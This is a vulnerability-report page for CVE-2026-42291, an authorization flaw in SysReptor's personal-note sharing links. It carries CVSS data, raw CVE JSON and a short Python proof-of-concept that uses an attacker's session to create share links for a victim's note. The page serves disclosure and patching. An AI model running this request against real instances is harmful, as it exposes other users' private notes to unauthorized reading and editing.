Security Vulnerability Report
中文
CVE-2026-42291 CVSS 6.8 MEDIUM

CVE-2026-42291

Published: 2026-05-08 23:16:36
Last Modified: 2026-05-08 23:16:36

Description

SysReptor is a fully customizable pentest reporting platform. From version 2026.4 to before version 2026.27, the endpoints for reading and creating sharing links for personal notes is not properly authorized. This allows authenticated attackers who obtain the note ID of victim users to list and create sharing links to those users' personal notes. This gives attackers read and write access to notes of other users. This exploit works in both SysReptor Professional and Community. In Community it has, however, no impact because all users have superuser permissions and can list personal notes of other users at /admin/pentests/usernotebookpage/. This issue has been patched in version 2026.27.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

SysReptor >= 2026.4, < 2026.27

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_host = "https://sysreptor.example.com" victim_note_id = "uuid-of-victim-note" # The attacker needs to guess or obtain this ID attacker_session_cookie = "valid_attacker_session_token" # Vulnerable endpoint for creating sharing links url = f"{target_host}/api/notes/{victim_note_id}/share-links/" headers = { "Content-Type": "application/json", } cookies = { "sessionid": attacker_session_cookie } # Exploit: Send a POST request to create a share link for the victim's note try: response = requests.post(url, headers=headers, cookies=cookies) if response.status_code == 201: data = response.json() print(f"[+] Exploit Successful!") print(f"[+] Share Link Created: {data.get('url')}") print(f"[+] Access Token: {data.get('token')}") elif response.status_code == 200: # In some cases, listing might return existing links print(f"[+] Exploit Successful! Existing links listed.") print(response.json()) else: print(f"[-] Exploit Failed. Status Code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42291", "sourceIdentifier": "[email protected]", "published": "2026-05-08T23:16:36.360", "lastModified": "2026-05-08T23:16:36.360", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "SysReptor is a fully customizable pentest reporting platform. From version 2026.4 to before version 2026.27, the endpoints for reading and creating sharing links for personal notes is not properly authorized. This allows authenticated attackers who obtain the note ID of victim users to list and create sharing links to those users' personal notes. This gives attackers read and write access to notes of other users. This exploit works in both SysReptor Professional and Community. In Community it has, however, no impact because all users have superuser permissions and can list personal notes of other users at /admin/pentests/usernotebookpage/. This issue has been patched in version 2026.27."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://github.com/Syslifters/sysreptor/releases/tag/2026.27", "source": "[email protected]"}, {"url": "https://github.com/Syslifters/sysreptor/security/advisories/GHSA-pcpr-q2qj-3v43", "source": "[email protected]"}]}}